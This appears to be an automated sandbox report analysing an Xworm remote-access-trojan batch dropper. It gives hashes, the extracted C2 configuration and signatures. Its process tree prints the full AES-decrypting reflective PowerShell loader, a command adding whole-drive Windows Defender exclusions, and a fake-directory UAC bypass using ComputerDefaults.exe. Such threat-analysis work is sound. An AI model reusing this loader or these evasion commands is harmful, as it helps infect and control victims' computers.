Analysis

  • max time kernel
    94s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-05-2024 13:25

General

  • Target

    myxwr5cli.bat

  • Size

    379KB

  • MD5

    03c6c2175f84ad54c989f0608d3cbb57

  • SHA1

    9846d7aa4c639d038f428977dfe0eef7db8ac009

  • SHA256

    6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

  • SHA512

    45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8

  • SSDEEP

    6144:xdlplCiywRsuBfq3Y3zzyMECoefagF68zh3IHstkjcGH9z2eRTbYXa8KZITbq:xrCiHWuBS3Y3zzyDCoefPQsy/qeF6KZl

Malware Config

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:7001

134.255.233.93:7001

Mutex

5loUYH5mEGReJgAG

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1444
    • C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      2⤵
        PID:1204
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1236
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2884
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2092
            • C:\Windows \System32\ComputerDefaults.exe
              "C:\Windows \System32\ComputerDefaults.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3888
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c call SC.cmd
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4492
                • C:\Windows\system32\cmd.exe
                  cmd /c "set __=^&rem"
                  6⤵
                    PID:3400
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                    6⤵
                      PID:3560
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
                      6⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:4432
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2640
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4768
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
                3⤵
                  PID:1668

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

              Filesize

              53KB

              MD5

              a26df49623eff12a70a93f649776dab7

              SHA1

              efb53bd0df3ac34bd119adf8788127ad57e53803

              SHA256

              4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

              SHA512

              e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              6d42b6da621e8df5674e26b799c8e2aa

              SHA1

              ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

              SHA256

              5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

              SHA512

              53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              e60eb305a7b2d9907488068b7065abd3

              SHA1

              1643dd7f915ac50c75bc01c53d68c5dafb9ce28d

              SHA256

              ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135

              SHA512

              95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b

            • C:\Users\Admin\AppData\Local\Temp\SC.cmd

              Filesize

              379KB

              MD5

              03c6c2175f84ad54c989f0608d3cbb57

              SHA1

              9846d7aa4c639d038f428977dfe0eef7db8ac009

              SHA256

              6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

              SHA512

              45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ds5xj4q.sz5.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Windows \System32\ComputerDefaults.exe

              Filesize

              80KB

              MD5

              d25a9e160e3b74ef2242023726f15416

              SHA1

              27a9bb9d7628d442f9b5cf47711c906e3315755b

              SHA256

              7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c

              SHA512

              bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910

            • C:\Windows \System32\MLANG.dll

              Filesize

              122KB

              MD5

              e286ada1af4b08fa4b7c78f862883c4e

              SHA1

              798ebc7b7cd3db667f1a59ade299be4cff397f39

              SHA256

              16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3

              SHA512

              fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5

            • memory/1236-17-0x00007FFF7FEC0000-0x00007FFF7FF7E000-memory.dmp

              Filesize

              760KB

            • memory/1236-18-0x0000014072880000-0x00000140728C8000-memory.dmp

              Filesize

              288KB

            • memory/1236-16-0x00007FFF81E70000-0x00007FFF82065000-memory.dmp

              Filesize

              2.0MB

            • memory/1236-85-0x00007FFF63EE0000-0x00007FFF649A1000-memory.dmp

              Filesize

              10.8MB

            • memory/1236-0-0x00007FFF63EE3000-0x00007FFF63EE5000-memory.dmp

              Filesize

              8KB

            • memory/1236-15-0x0000014072660000-0x0000014072670000-memory.dmp

              Filesize

              64KB

            • memory/1236-14-0x00000140729A0000-0x0000014072A16000-memory.dmp

              Filesize

              472KB

            • memory/1236-13-0x00007FFF63EE0000-0x00007FFF649A1000-memory.dmp

              Filesize

              10.8MB

            • memory/1236-12-0x00000140728D0000-0x0000014072914000-memory.dmp

              Filesize

              272KB

            • memory/1236-11-0x00007FFF63EE0000-0x00007FFF649A1000-memory.dmp

              Filesize

              10.8MB

            • memory/1236-6-0x00000140723C0000-0x00000140723E2000-memory.dmp

              Filesize

              136KB

            • memory/2884-31-0x00007FFF63EE0000-0x00007FFF649A1000-memory.dmp

              Filesize

              10.8MB

            • memory/2884-28-0x00007FFF63EE0000-0x00007FFF649A1000-memory.dmp

              Filesize

              10.8MB

            • memory/4432-68-0x0000021EEBA10000-0x0000021EEBA20000-memory.dmp

              Filesize

              64KB

            • memory/4432-53-0x00007FFF81E70000-0x00007FFF82065000-memory.dmp

              Filesize

              2.0MB

            • memory/4432-54-0x00007FFF7FEC0000-0x00007FFF7FF7E000-memory.dmp

              Filesize

              760KB